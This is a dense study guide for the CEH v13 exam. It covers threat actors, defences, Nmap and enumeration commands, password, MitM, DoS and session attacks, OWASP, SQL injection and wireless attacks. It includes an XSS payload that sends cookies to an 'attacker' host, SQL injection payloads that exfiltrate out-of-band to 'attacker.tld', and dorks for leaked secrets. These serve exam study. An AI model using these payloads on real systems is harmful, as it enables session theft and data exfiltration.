CEH Comprehensive Exam Cram Notes

1. EC-Council/
2. Cram Notes
3. ·You are here

Updated 07 Sep 2026 . 58 min read . Hafidz . v2025-10-01 . CEH

Format Corrections (read this first)

The CEH v13 exam mechanics in 2026 differ from most third-party study guides written before 2024. Lock these in:

• Format: 4 hours, 125 multiple-choice questions, MCQ only (no labs, no drag-and-drop, no scenario-items in the live delivery)
• Pass score: variable per form, ranges from 60% to 85% depending on which exam form you draw. Treat 85% as your only safe target.
• Delivery: Pearson VUE test centre, ECC exam centre, or Remote Proctoring Service (RPS). Same exam, same time, same rules.
• Code: 312-50 (v13) for the knowledge exam, 312-50 (Practical) for the hands-on.
• Approval: you need an EC-Council eligibility number before booking. ANSI self-study path needs 2 years of infosec work experience + $100 application fee.
• No question review: once you click Next, the answer is locked. Use the on-screen “flag for review” if available, but expect the engine to disallow backward navigation in many forms.
• Breaks: none scheduled. Clock keeps running. 4 hours is a long sit - bring water, eat protein before, take a 60-second eye break every 30 questions.
• Automatic-fail triggers: photographing the screen, looking at another monitor, talking, leaving the room, violating the NDA.

Companion files in this repo: 00-master-strategy.md (8-week plan), 99-cheatsheet.md (one-page last-mile), and the research/01-08 deep-dive files.

---

How to use this guide

This is a dense reference, not a narrative. It mirrors the official EC-Council CEH v13 blueprint (4 domains, ~20 modules). For each domain you get: must-know facts, command/port tables, common gotchas, and a memory aid. Use the table of contents to jump to your weakest area.

Suggested flow the night before:

1. Read “Exam Day Tactics” (top of file) so the format surprises are gone.
2. Skim Domain 1 + 2 - together they frame the “who attacks, how defenders stop them” story.
3. Drill Domain 3.A (Nmap table, enumeration table) - the highest-yield fact dump.
4. Drill Domain 3.B (malware taxonomy, DoS table, social engineering taxonomy).
5. Skim Domain 3.C (OWASP Top 10, crypto algorithm table, cloud breaches).
6. Skim Domain 4 (pen-test phases, ROE, legal box).
7. End with the Final 30-Minute Survival Guide at the bottom.

Do not read this straight through. Jump. Stop studying 90 minutes before the exam. Sleep 7+ hours.

---

Exam Snapshot

Attribute	Value
Code	EC-Council Certified Ethical Hacker (CEH) v13
Exam code	312-50 (v13)
Format	MCQ only, 125 items
Time	4 hours
Passing score	60-85% per form (statistical cut score)
Delivery	Pearson VUE, ECC test centre, or RPS
Eligibility	ANSI self-study + $100 fee (2 yrs infosec experience) or official ATC training
ID	Government-issued photo ID matching registration exactly
Cost (USD)	$1,199 Pearson VUE voucher, $950 ECC voucher, $950 RPS voucher
Retake	1st retake free in many bundles, then $499; 14-day cool-down after 2nd-4th attempt
Recert	120 ECE credits / 3 years and $80/year Aspen membership
Practical	Separate 6-hour, 20-challenge, 14/20 to pass; $550 voucher

Domain Weights (CEH v13 blueprint)

#	Domain	Approx. weight
1	Information Security Threats & Attack Vectors	~22%
2	Attack Detection, Prevention & Defense Fundamentals	~18%
3	Attacks & Exploits (subdivided into 3.A recon, 3.B system/network, 3.C web/cloud/IoT/crypto)	~40%
4	Communication, Reporting, Procedures & Legal	~20%

Domain 3 alone is the largest. If you only have one night, drill 3.A (Nmap + enumeration) and 3.C (OWASP + crypto). They carry the most raw facts per minute of study.

---

The Attacker Mindset (read this first)

CEH is not a managerial judgment test like (ISC)² CC. It is a technical recognition test wrapped in scenarios. When a question shows you a log, a payload, a tool output, or a network diagram, the correct answer is the one that names the right technique, tool, or mitigation layer.

When two or three options all look right, the “best” answer is the one that:

1. Names the specific tool or technique (not the generic category).
2. Maps to the exact phase of the 5-phase methodology the question describes.
3. Reflects defense in depth when the question asks for the strongest control.
4. Pairs the right attack with the right layer (e.g., L7 attack -> WAF, not firewall).

“The exam tests whether you know how attacks work and in what order, not just that they exist.” - Cover6 Solutions, 2026

Trap pattern: if your background is managerial or policy-side, your instinct is to pick the governance answer (policy, training, risk register). CEH wants the technical answer (IDS rule, WAF signature, port, command, CVE). They are different exams.

---

Domain 1: Information Security Threats & Attack Vectors (~22%)

The “who” and “what” of attacks. EC-Council expects you to recognise threat actors, attack vectors, malware families, and the three attack-lifecycle models by name.

1.1 Threat Actors

Must Know

Actor	Motivation	Tell-tale sign	Example
Nation-state / APT	Geopolitical, espionage	Multi-year dwell, custom malware, supply-chain reach	APT28, APT29, Lazarus, Equation
Organised cybercrime	Money	Highest attack volume; RaaS, access brokers, double extortion	LockBit, ALPHV/BlackCat, Cl0p
Hacktivist	Ideology	Defacement, DDoS, leaks tied to cause	Anonymous, LulzSec
Insider (malicious, negligent, compromised)	Various	Pre-authorised access, hardest to detect	Snowden, Change Healthcare affiliate
Script kiddie	Curiosity / bragging	Downloaded tools, opportunistic, high volume / low success	-
White / gray / black hat	Ethics axis	Hat colour = intent	-

Common Gotcha

Misread	Correct
“Defacement with a manifesto” = APT	Hacktivist (manifesto is the tell)
“Multi-year stealth in a government” = organised crime	APT (long dwell = state)
“Pre-authorised access” = outsider threat	Insider (the position is the tell)

Mnemonic: NACHIS - Nation-state, APT/Cybercrime, Hacktivist, Insider, Script kiddie.

1.2 Attack Vectors

Must Know - 9 vectors CEH lists

Vector	Typical use	Common tool
Network	Scanning, lateral movement, MitM	Nmap, Ettercap
Web	XSS, SQLi, SSRF, drive-by	Burp, sqlmap
Email	Phishing, spear-phishing, malicious attachments	SET, GoPhish
Physical	Tailgating, USB drops, badge cloning	HID-cloner
Social engineering	Pretexting, vishing, baiting	SET, wifiphisher
Supply chain	Compromise of trusted software / hardware	xz-utils class, SolarWinds
Cloud	Misconfigured S3, IAM abuse, token theft	Pacu, ScoutSuite
IoT/OT	Default credentials, unpatched firmware	Mirai, Modbus tools
Wireless	Rogue AP, evil twin, deauth	aircrack-ng, hostapd

A single intrusion usually chains vectors - spear-phish -> malicious attachment -> reverse shell -> lateral network movement -> cloud credential theft.

1.3 Malware Taxonomy (must know the tree)

Malware
|-- Virus (needs host file + user execution)
|   |-- File infector, Boot sector, Macro
|   |-- Polymorphic (changes signature each run)
|   |-- Metamorphic (rewrites its own code)
|   `-- Multipartite
|-- Worm (self-propagating over network, no user action)
|-- Trojan (disguised as legit)
|   |-- RAT (Gh0st, AsyncRAT)
|   |-- Banking (Zeus, Emotet)
|   |-- Backdoor
|   |-- DDoS bot (Mirai)
|   `-- Downloader / Dropper
|-- Rootkit
|   |-- User-mode, Kernel-mode, Bootkit (UEFI/BIOS)
|-- Ransomware
|   |-- Locker, Crypto
|   |-- Double extortion (encrypt + leak)
|   |-- Triple extortion (+ DDoS)
|   `-- Quadruple extortion (+ regulator / customer pressure)
|-- Spyware / Keylogger
|-- Fileless / LOLBins (PowerShell, WMI, mshta)
|-- Logic bomb (triggers on event)
`-- Wiper (destroys data; WhisperGate, NotPetya)

Common Gotcha

Misread	Correct
“Stuxnet” = just a virus	Worm + virus + rootkit - name the primary, list the secondaries
“Fileless malware” = no payload	It still has a payload, just lives in memory/LOLBins
“Ransomware that leaks data” = double extortion	Encrypt + leak = double; encrypt + leak + DDoS = triple

Mnemonic for ransomware extortion: ED = encrypt, demand. Double = ED + Leak. Triple = + DDoS. Quadruple = + contact customers/regulator.

1.4 Attack Lifecycle Models (the three you must know)

Model	Phases	When the exam uses it
5-phase CEH	Recon, Scan, Gain Access, Maintain Access, Cover Tracks	“Attacker is at phase 3” -> 5-phase
Cyber Kill Chain (Lockheed)	7 phases: Recon, Weaponisation, Delivery, Exploitation, Installation, C2, Actions on Objectives	“Which phase” with sequential cues
MITRE ATT&CK	14 enterprise tactics: Reconnaissance, Resource Development, Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command and Control, Exfiltration, Impact	“TTP” or “technique” cues -> ATT&CK
Diamond Model	Adversary x Capability x Infrastructure x Victim	“Pivot” / “campaign clustering” cues

MITRE ATT&CK - the 14 tactics in order (memorise verbatim)

Recon, Resource Dev, Initial Access, Execution, Persistence, Priv Esc, Def Evasion, Credential Access, Discovery, Lateral, Collection, C2, Exfil, Impact. Mnemonic: “RRIIPPDCDLCCEI” (rough sound: “rip the deck, let CCE in”).

Common Gotcha

Misread	Correct
“Lateral Movement” is a Kill Chain phase	It is an ATT&CK tactic, not a Kill Chain phase (Kill Chain has Installation then C2 then Actions)
Kill Chain has 7 phases including C2	Yes - but CEH’s own 5-phase model splits recon/scan and omits weaponisation
“Initial Access” is a tactic	Yes - ATT&CK tactic #3

1.5 Real-World Incidents to Recognise

Incident	Year	Vector	One-line takeaway
SolarWinds / SUNBURST	2020	Supply chain (signed DLL in Orion update)	Russian SVR, ~18,000 orgs received trojanised update
3CX Desktop App	2023	Chained supply chain (X_TRADER -> 3CX build)	First cascading supply-chain compromise Mandiant documented
xz-utils / CVE-2024-3094	2024	Maintainer-level supply chain (CVSS 10.0)	“Jia Tan” gained trust over 2 years, backdoored liblzma -> sshd pre-auth RCE
Change Healthcare	2024	Stolen creds on MFA-less Citrix portal	190M affected, $22M ransom paid, ALPHV exit-scammed affiliates
Capital One	2019	SSRF -> IMDSv1 -> over-privileged IAM	106M records, AWS shipped IMDSv2 in response
Tesla (cryptojack)	2018	Unauthenticated K8s console + creds in env vars	Stratum Monero miner hidden behind Cloudflare

Three of these are textbook initial-access failures: trojanised update, stolen credential, MFA-less portal. Defence is not exotic - it is the basics, done consistently.

---

Domain 2: Attack Detection, Prevention & Defense Fundamentals (~18%)

The “how defenders stop them” story. Expect questions on defence-in-depth, Zero Trust, firewalls, IDS/IPS, endpoint stack, SIEM/SOAR, honeypots, and patch management.

2.1 Foundational Principles

Principle	Definition	NIST ref
Defense in depth (DiD)	Layered controls; single failure is not catastrophic	CSRC glossary
Least privilege	Minimum access needed	NIST AC-6
Zero Trust	“Never trust, always verify.” Per-request authn/authz/log	NIST SP 800-207
CIA triad	Confidentiality, Integrity, Availability	-

Zero Trust core components

Component	Role
PE (Policy Engine)	Decides access
PA (Policy Administrator)	Issues the decision
PEP (Policy Enforcement Point)	Enforces the decision (gateway / NAC agent)

Zero Trust is not “VPN replacement.” It is a per-request access decision based on identity + device posture + context.

2.2 Defense-in-Depth Layers (5)

1. Perimeter - firewall, WAF, DDoS scrubbing, email gateway.
2. Network - segmentation, NAC, IDS/IPS, jump servers.
3. Host - NGAV, EDR, hardening, CIS baselines.
4. Application - secure SDLC, WAF, RASP, SAST/DAST.
5. Data - encryption at rest/in transit, DLP, classification, HSM/KMS.

2.3 Firewall Types

Type	Layer	Strength	Speed
Packet-filtering (stateless)	L3/L4	Weak (header only)	Fastest
Stateful inspection	L3/L4	Better (tracks connection state)	Fast
WAF	L7	Inspects HTTP/SQL/XML against OWASP	Medium
NGFW	L3-L7	Stateful + DPI + IPS + app awareness	Medium

2.4 IDS vs IPS (must know the difference)

Aspect	NIDS / NIPS	HIDS / HIPS
Position	Inline (IPS) or span/tap (IDS)	On the endpoint
Detects	Lateral movement, scans, exfil	File integrity, privesc, local LOLBins
Misses	Encrypted payloads (pre-decrypt)	Cross-host correlation
Method	Signature / anomaly / stateful	Same + file/process telemetry

Detection methodologies (NIST SP 800-94): Signature (known IOCs, low FP, blind to novel) | Anomaly (baseline + deviation, catches zero-day, higher FP) | Stateful protocol analysis (validates state machine).

IDS = Detect, passive. IPS = Prevent, inline. The “I” tells you what it does.

2.5 Endpoint Stack (NGAV -> EDR -> XDR -> MDR)

Term	What it is	Role
NGAV	Signature + ML + behavioural + exploit mitigation	Preventive, cloud-managed
EDR	Continuous telemetry, behavioural detection, hunting, remote response	Detective + responsive (NIST SP 800-137)
XDR	EDR + email, identity, cloud, network correlation	Cross-domain, reduces alert fatigue
MDR	24x7 SOC service wrapping EDR/XDR	Service, not product

NGAV is a subset of EDR is a subset of XDR. Layers, not alternatives.

2.6 SIEM vs SOAR

	SIEM	SOAR
Role	Centralises logs, correlates, alerts (detection)	Acts on SIEM alerts via playbooks (response)
Output	Alerts	Automated actions: enrich, isolate, disable account

Implement SIEM before SOAR. SOAR acting on bad SIEM rules is worse than no SOAR.

2.7 Honeypots / Honeynets

• Honeypot = decoy with no production value. Any interaction is by definition suspicious. Generates high-fidelity IOCs.
• Honeynet = a network of honeypots simulating a realistic environment.

Honeypot data is high-signal because legitimate users never touch it.

2.8 Threat Intel & IOC Sharing (must know the trio)

Term	What
IOC	Atomic indicator - IP, domain, hash, mutex, registry key
STIX	OASIS standard, JSON, 18 Domain Objects (v2.1)
TAXII	HTTPS RESTful transport for STIX - Collections (pull) + Channels (pub/sub)

2.9 Common Gotcha (Domain 2)

Misread	Correct
“WAF inspects SQL”	WAF inspects L7 HTTP/SQL/XML - WAF is the right answer for SQLi, not a network firewall
“Zero Trust = VPN replacement”	No - ZT is per-request, not a network tunnel
“EDR blocks known malware”	EDR detects and responds; NGAV is the preventive block layer
“SOAR centralises logs”	No - SIEM does; SOAR acts on SIEM alerts
“Signature detection catches zero-day”	No - anomaly detection does. Signature is blind to novel.
“NAC is a firewall”	No - NAC is pre-admission posture check (802.1X), usually complementing the firewall

Mnemonic: “PAWN HOST APP DATA” for DiD layers - Perimeter, Application (network), Wide (NIDS/IPS), Network, Host, App (secure SDLC), Data. (Or use the 5-layer official list above.)

---

Domain 3.A: Reconnaissance & Scanning (~13% of total)

The first and longest phase. EC-Council splits it into footprinting, scanning, enumeration, and vulnerability analysis.

3.A.1 Footprinting / Reconnaissance

Must Know - OSINT Tool Stack

Tool	What it does	Key example
theHarvester	Aggregates e-mails, subdomains, hosts	theHarvester -d example.com -b bing,crtsh -l 500
recon-ng	Modular Python framework, workspace DB	workspaces create target; modules load recon/domains-hosts/hackertarget; run
Maltego	GUI link-analysis (graph of subdomains, MX, e-mails)	Drop entity -> transforms -> pivot
Shodan / Censys	Internet-wide banner + cert search	port:3389 country:"US"
Google dorking	Operators to surface unintentional exposure	site:example.com filetype:env intext:"AWS_SECRET"
subfinder / amass	Subdomain brute-force / passive enumeration	subfinder -d example.com -silent

Passive = no contact with target (Shodan, CT logs, search engines). Active = light contact (DNS queries, traceroute, job-posting scraping).

Top 5 security Google dorks

Dork	Surfaces
filetype:env intext:"DB_PASSWORD"	Exposed .env files
intitle:"index of" inurl:backup	Open backup directories
inurl:phpinfo.php	phpinfo() pages
site:pastebin.com "<domain>" password	Leaked credentials
site:github.com "<domain>" token OR secret	Leaked API keys

DNS Footprinting Workflow

1. Query NS records (dig NS example.com).
2. Attempt AXFR (dig axfr @ns1.example.com example.com).
3. Enumerate SRV records (nmap -script dns-srv-enum).
4. Brute-force subdomains (dnsenum -enum, fierce -dns example.com).

3.A.2 Scanning - the Nmap table you must memorise

Nmap Scan Types

Switch	Type	Use
-sS	TCP SYN (half-open)	Default if root; fast, stealthy
-sT	TCP connect()	When you lack raw sockets (non-root)
-sU	UDP scan	Slow; DNS/SNMP/TFTP discovery
-sN	NULL scan (no flags)	Stateless-firewall bypass; Unix-only
-sF	FIN scan (FIN flag)	Same logic as NULL; Unix-only
-sX	XMAS scan (FIN+PSH+URG)	Same logic; Unix-only
-sA	ACK scan	Map firewall rulesets, not open/closed
-sI zombie[:port]	Idle scan	Blind - target never sees your IP
-sV	Version detection	Banner + version
-O	OS fingerprinting	Stack idiosyncrasies
-A	Aggressive	-sV -O -sC
-Pn	Skip host discovery	Treat all hosts as up
-p-	All 65,535 ports	Slow but complete
-T0..-T5	Timing templates	0=paranoid, 5=insane
-f / -mtu	Fragment	IDS evasion
-D RND:10	Decoy scan	Hide among 10 random sources
-g 53	Source port spoof	Appear as DNS
-script=default	NSE scripts	Vuln / brute / default

Exam gotcha: NULL, FIN, XMAS work only against Unix. Windows ports reply RST regardless -> results are unreliable.

Host Discovery (ping sweep) options

Switch	Purpose
-sn	No port scan, just discovery
-PS/PA/PU/PY	SYN/ACK/UDP/SCTP discovery to a port list
-Pn	Skip discovery, treat all hosts as up
-disable-arp-ping	Useful on IPv4 LAN where ARP is otherwise mandatory

3.A.3 Enumeration - protocol cheat sheet

Protocol	Port	Tool / command	What you extract
NetBIOS / SMB	137-139, 445	enum4linux -a, rpcclient -U "" -N, smbclient -L //target -N	Users, shares, groups, password policy
SNMP	UDP 161	snmpwalk -v2c -c public target, snmp-check	MIB tree, sysName, user table, route table
LDAP	389 (636 LDAPS)	ldapsearch -x -h target -p 389 -b "dc=domain,dc=com"	Directory objects, naming contexts
DNS	53	dig axfr @ns1.target target, dnsenum -enum	Zone transfer, SRV records, subdomains
SMTP	25	smtp-user-enum -M VRFY -U users.txt -t target	Valid mailboxes (VRFY, EXPN, RCPT-TO)
FTP	21	nc -v target 21, nmap -script ftp-anon	Banner, anonymous login
Banner grab	any	nc -v target 80; HEAD / HTTP/1.0, nmap -sV	Software version -> CVE

Default credentials to recognise

• public / private - SNMP community strings
• admin / admin, root / xc3511, root / vizxv, default / 1234 - Mirai IoT dictionary

3.A.4 Vulnerability Analysis

CVSS 3.1 base metrics (8 values)

Metric	Values
AV Attack Vector	Network / Adjacent / Local / Physical
AC Attack Complexity	Low / High
PR Privileges Required	None / Low / High
UI User Interaction	None / Required
S Scope	Unchanged / Changed
C / I / A Impact (Confidentiality, Integrity, Availability)	None / Low / High

Severity bands

Band	Score
None	0.0
Low	0.1-3.9
Medium	4.0-6.9
High	7.0-8.9
Critical	9.0-10.0

Worked example: CVE-2024-3094 (xz-utils) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H -> 10.0 CRITICAL. Network-attackable, no privileges, no UI, scope-changed (liblzma -> sshd), high impact on all three.

CVE / NVD / CVSS

Term	Role
CVE	Unique identifier (e.g., CVE-2024-3094)
NVD	Enriches CVEs with CVSS, CPE, references
CVSS	Scoring standard (v3.1 current, v4.0 emerging)
CWE	Weakness class (e.g., CWE-787 out-of-bounds write)

Vulnerability scanner comparison

Scanner	Strength	Cost	Best for
Nessus	~99.7% CVE coverage, low FP, agent+agentless	Paid	Gold standard infrastructure
Qualys VMDR	Cloud-native, integrated CSPM/K8s	Paid (highest TCO)	Cloud-first orgs
OpenVAS / Greenbone	~98% CVE coverage, GPL-3	Free	Air-gapped, cost-sensitive
Burp Suite Pro	Manual+automated DAST	Paid	Web app pentest
OWASP ZAP	OSS man-in-the-middle proxy	Free	Web scanning on a budget
Nikto	Web server baseline	Free	Old-school server scan

3.A Common Gotcha (Recon / Scanning)

Misread	Correct
-sT is stealthy	No - it completes the 3-way handshake; SYN (-sS) is stealthy
NULL scan works against Windows	No - Windows ports reply RST regardless
ACK scan finds open ports	No - it only maps filtered vs unfiltered
CVSS Base = risk	No - CVSS Base is severity; risk needs environmental + threat context
SNMP public is read-only so it is safe	No - read access on a MIB tree dumps entire device config
smbclient is for Linux	It is the SMB client; works against any SMB target
“Zone transfer succeeded” is a configuration issue, not a vulnerability	It is both - a misconfiguration that leaks the entire zone

Mnemonic: “Syn stealth, NULL/FIN/XMAS Unix, ACK maps rules” for the scan-type traps.

---

Domain 3.B: System & Network Attacks (~13% of total)

The offensive toolkit. Spans system hacking, malware, sniffing/social engineering, DoS/DDoS, and session hijacking.

3.B.0 The 5-Phase CEH Methodology (the spine of 3.B)

#	Phase	Goal	Canonical tools
1	Reconnaissance	OSINT, public + active	Maltego, theHarvester, Shodan
2	Scanning & Enumeration	Find open doors	Nmap, Nessus, enum4linux, Nikto
3	Gaining Access	Exploit	Metasploit, sqlmap, Burp, Hydra
4	Maintaining Access	Persistence	Netcat backdoor, Meterpreter, rootkit
5	Covering Tracks	Hide evidence	Log wipe, timestomp, NTFS ADS, steg

The exam tests whether you know how attacks work and in what order, not just that they exist. Memorise the tool -> phase mapping.

3.B.1 System Hacking - Password Attacks

Tool	Mode	Strength	Weakness	Use when
Hydra	Online	Multi-protocol (SSH, FTP, HTTP, RDP, SMB)	Triggers lockouts	You have a live service prompt
Medusa	Online	Parallel login engine	Same lockout risk	Same as Hydra, alternate
John the Ripper	Offline	Auto-detects hash format, huge coverage	CPU-bound, slower on GPU	Unknown or file-based formats
Hashcat	Offline	GPU-accelerated; 300+ hash modes	Requires GPU; specify -m mode	You have hashes and a GPU
Rainbow tables	Offline	Pre-computed, instant on unsalted	Defeated by salting	LM, NTLM (unsalted only)

Modern adaptive hashes - Argon2id > bcrypt > scrypt - are slow on purpose. The GPU parallelism that crushes NTLM is exactly what bcrypt is designed to defeat.

3.B.1 Privilege Escalation

Axis	Mechanism	MITRE ATT&CK
Vertical (low-priv -> admin)	SUID/SGID binaries, sudo misconfig, kernel exploit, Mimikatz	T1548.001 / T1548.003
Horizontal (same-priv pivot)	Pass-the-Hash (NTLM), Pass-the-Ticket (Kerberos)	T1550.002 / T1550.003

3.B.1 Covering Tracks (4 techniques)

Technique	What	Detection
NTFS Alternate Data Streams (ADS)	Hide file in file.txt:hidden.exe	Sysmon FileCreate stream flags
Timestomping	Rewrite $STANDARD_INFORMATION only	SI/FN delta is the smoking gun (T1070.006)
Steganography	Hide data in MP3/JPEG whitespace	Entropy analysis
Log tampering	wevtutil cl, GPO-pushed audit disable	Forward logs to SIEM off-host

3.B.2 Sniffing & MitM (L2 attacks)

Attack	Mechanism	Tool
ARP poisoning / spoofing	Gratuitous ARP so victim + gateway resolve attacker MAC	ettercap -M arp:remote, BetterCAP, arpspoof
MAC flooding	Fill CAM table -> switch fail-opens to hub	macof (dsniff)
MAC spoofing	Change NIC MAC to victim’s	macchanger
DHCP starvation	Exhaust DHCP pool	Yersinia, dhcpstarv
Rogue DHCP	Hand out malicious DNS/gateway	Yersinia
DNS poisoning / spoofing	Corrupt resolver cache	Ettercap, dnsspoof
SSL stripping	Downgrade HTTPS -> HTTP	sslstrip
SSL/TLS downgrade (POODLE)	Force SSL 3.0 CBC padding oracle	custom proxy
BetterCAP HTTP/HTTPS proxy	Modern L2/L7 MitM with HSTS bypass	BetterCAP

Defence: Dynamic ARP Inspection (DAI) + DHCP snooping on the managed switch. Without DAI, ARP MitM is silent.

3.B.2 Social Engineering Taxonomy

Vector	Lever	Example
Phishing	Bulk + plausible	ENISA 2025: ~60% of intrusions start here
Spear phishing	OSINT-driven, named target	Most targeted intrusions
Whaling	C-suite, wire authority	CEO fraud
Vishing	Voice, help desk	2020 Twitter hack, 2023 MGM/Caesars
Smishing	SMS	Rose sharply with SMS MFA
Pretexting	Fabricated scenario	“I’m the new contractor, locked out”
Baiting	Curiosity / greed	USB drop in parking lot
Tailgating / piggybacking	Physical politeness	Follow through badge door
Dumpster diving	Discarded media	Pull hard drives, printouts

Techearl 2026: “A mature organisation can have no software vulnerability and still be breached by a single phone call to the help desk.” MGM (2023) fell to vishing.

3.B.3 DoS / DDoS Attack Cheat Table

Attack	Layer	Tool	Defence
UDP flood	L3/L4 (volumetric)	hping3, Mirai udpplain	Rate-limit, drop unused UDP, cloud scrubbing
ICMP flood / Ping of Death	L3	ping -s 65507 -f	Block/limit ICMP, patch parsing
DNS amplification	L3/L4 (volumetric)	Mirai dns module	BCP38, RRL, anycast
NTP amplification	L3/L4 (volumetric)	NTP monlist	Disable monlist, BCP38
Memcached DRDoS	L3/L4 (volumetric)	memcached -d -m 1024	Disable UDP, firewall, BCP38
SYN flood	L4 (state exhaustion)	hping3, Mirai syn	SYN cookies, increase backlog
Smurf	L3 (amp)	ICMP echo to broadcast w/ spoofed src	Disable directed broadcast, BCP38
Fraggle	L3 (amp)	UDP echo to broadcast	Block UDP echo (ports 7/19)
Teardrop	L4 (frag)	Overlapping IP fragments	Patch OS, drop bad frags
HTTP flood	L7	Mirai http/httppost/httphead	WAF, per-IP rate limit, CAPTCHA, CDN
Slowloris	L7 (low-and-slow)	Open conn, drip-feed headers	Reverse proxy buffering, short timeouts
R.U.D.Y. / SlowPOST	L7 (low-and-slow)	POST one byte at a time	Reverse proxy buffering, body timeout

Botnet & C&C

• Botnet = network of compromised hosts (zombies).
• C&C = command-and-control (IRC, HTTP, P2P, Tor hidden service).
• Mirai (2016) = recruited 600K+ IoT devices via 62 default-credential pairs on Telnet (TCP/23, TCP/2323). Produced >1 Tbps on Dyn DNS (Oct 2016, knocked Twitter/Netflix/Reddit offline).

3.B.4 Session Hijacking

Attack	Mechanism	Defence
Session ID prediction	Weak entropy	Burp Sequencer test; use 128-bit random
Session sniffing	Same L2 toolkit as MitM	Secure cookie + HSTS
Session fixation	Plant known ID before login; if not regenerated -> attacker is logged in	Regenerate session ID at login / privilege change
XSS-based hijack	<script>document.location='http://attacker/?c='+document.cookie</script>	HttpOnly, CSP, output encoding
Man-in-the-browser	Banking trojan (Zeus, SpyEye) injects into browser	EDR + transaction signing
Cookie theft via malware	Infostealer reads browser cookie jar	EDR, password managers with device binding

OWASP WSTG fix: Secure (HTTPS only) + HttpOnly (no JS) + SameSite (no cross-site) + regenerate session ID on login + HSTS with includeSubDomains.

3.B Common Gotcha

Misread	Correct
“Pass-the-Hash requires the plaintext password”	No - it reuses the NTLM hash directly
“Syn flood is L7”	No - Syn flood is L4 (TCP state exhaustion)
“Slowloris is a volumetric attack”	No - it is L7 low-and-slow, holds connections open
“Ransomware always encrypts files”	No - locker ransomware locks the screen only
“RAT = Trojan”	RAT is a type of Trojan (Remote Access Trojan)
“APT = sophisticated malware”	APT is the actor profile, not malware
“Defense against social engineering is training”	True, but the strongest control is process - help desk verification, out-of-band callbacks

Mnemonic for DDoS: “UDP-ICMP-SYN flood the L3/L4; HTTP-Slow hit the L7”. Volumetric = L3/L4; state-exhaustion = L4; application = L7.

---

Domain 3.C: Application, Web, Cloud, IoT & Crypto (~14% of total)

Everything above the OS/network layer. Web apps, SQL backends, wireless, mobile/IoT/OT, cloud, and cryptography.

3.C.1 OWASP Top 10 (2021 - the current exam baseline)

#	Category	Example attack	Tool
A01	Broken Access Control	IDOR, vertical/horizontal priv-esc	Burp, ZAP, ffuf
A02	Cryptographic Failures	Cleartext storage, weak TLS	testssl.sh, sslyze
A03	Injection (SQLi, NoSQLi, LDAP, OS cmd)	' OR 1=1-	sqlmap, Burp
A04	Insecure Design	Missing rate limit on password reset	Manual review + threat model
A05	Security Misconfiguration	Default creds, verbose errors, exposed S3	Nikto, nmap
A06	Vulnerable & Outdated Components	Log4Shell, Spring4Shell	Snyk, OWASP Dependency-Check
A07	Identification & Auth Failures	Credential stuffing, weak passwords	Hydra, Burp Intruder
A08	Software & Data Integrity Failures	Insecure deserialisation, unsigned updates	Sigstore, SBOM diff
A09	Logging & Monitoring Failures	No alerting on repeated failed logins	Splunk, Sigma rules
A10	SSRF	http://169.254.169.254/... (Capital One)	SSRFmap, Burp Collaborator

2025 deltas to know (final Q1-Q2 2026 likely): A02 Security Misconfiguration rises; A03 becomes Software Supply Chain Failures; SSRF folded into A01; A10 is new - Mishandling of Exceptional Conditions.

3.C.1 Web Server Class Attacks (not application logic)

• Path traversal - ../../etc/passwd
• HTTP response splitting - CRLF injection into headers
• HTTP request smuggling - desync between front- and back-end via Transfer-Encoding / Content-Length disagreement
• Web cache poisoning - cache stores a poisoned response keyed to a victim URL
• IIS/Apache/nginx misconfigs - HTTP PUT enabled, .htaccess overrides, default CGI

Cross-cutting web issues

Issue	Defence
XSS (Reflected / Stored / DOM)	Context-aware output encoding + CSP
CSRF	Anti-CSRF tokens + SameSite cookies
IDOR	Per-record server-side authz
XXE	Disable DTD / external entities
SSRF	Egress allow-list + IMDSv2 + network segmentation

3.C.2 SQL Injection - 5 exploitation techniques

Class	Technique	How	Indicator
In-band	Error-based	DBMS error contains data	' -> 500 / XPATH syntax error
In-band	UNION-based	UNION SELECT appends rows	Column-count match; result in page
Inferential (blind)	Boolean	AND 1=1 vs AND 1=2	True page vs false page
Inferential (blind)	Time-based	SLEEP(5), WAITFOR DELAY	Response time
Out-of-band (OAST)	OOB	DB makes DNS/HTTP to attacker	DNS callback to attacker domain

Auth bypass (modern reality)

admin' OR '1'='1'- rarely logs you in as anyone. Modern apps hash passwords, so UNION bypass must supply a hash column whose value matches a password you chose.

SQLi payload cheat (per DBMS)

Goal	MySQL	MSSQL	PostgreSQL	Oracle
Comment	- or #	-	-	-
Stack queries	Limited	; allowed	; allowed	; allowed
Force delay	SLEEP(5)	WAITFOR DELAY '0:0:5'	pg_sleep(5)	dbms_pipe.receive_message
Read file	LOAD_FILE()	OPENROWSET(BULK ...)	pg_read_file()	UTL_FILE
OOB exfil	LOAD_FILE(CONCAT('\\\\',user,'.attacker.tld\\a'))	xp_dirtree '\\\\attacker.tld\share'	dblink	UTL_HTTP.REQUEST

Tools: sqlmap (industry standard), jSQL Injection (Java GUI), Havij (point-and-click).

3.C.3 Wireless Attacks

802.11 weaknesses

Standard	Year	Crypto	Status
802.11a	1999	WEP	Broken
802.11b	1999	WEP	Broken
802.11g	2003	WPA	Outdated
802.11n	2009	WPA2	Solid
802.11ac	2014	WPA2	Solid
802.11ax (Wi-Fi 6/6E/7)	2019+	WPA3	Current

Specific attacks

Attack	Target	Tool / CVE
WEP cracking	24-bit IV reuse, 128-bit key recovered in ~40k-85k pkts	airodump-ng + aircrack-ng PTW
WPA2-PSK cracking	Offline dictionary on captured 4-way handshake	aircrack-ng, aireplay-ng -0 deauth to capture
KRACK (2017)	802.11i 4-way handshake nonce reset	CVE-2017-13077..13088; krackattacks-scripts
WPA3 / Dragonblood (2019)	SAE/Dragonfly timing + cache side channel	Vanhoef & Ronen - brute 10^10 dict on AWS <$1
Evil twin	Same-SSID rogue AP; clients join strongest	hostapd, wifiphisher, Fluxion
Rogue AP	Unauthorised AP on corporate LAN	Kismet
Deauth	Force reconnect to capture handshake	aireplay-ng -0
WPS PIN brute	8-digit PIN, 11K combos	reaver, bully

WEP -> broken. WPA -> outdated. WPA2 -> solid. WPA3 -> current. Hiding the SSID is not a security measure.

Bluetooth attacks

Attack	Vector	Impact
BlueSmack	L2CAP echo with oversized payload	DoS (ping-of-death)
BlueJacking	OBEX/vCard message	Spam, phishing lure
BlueSnarfing	OBEX PULL of telecom/pb.vcf	Theft of contacts, calendar, IMEI
BlueBugging	AT-command backdoor	Full device control, call/SMS interception
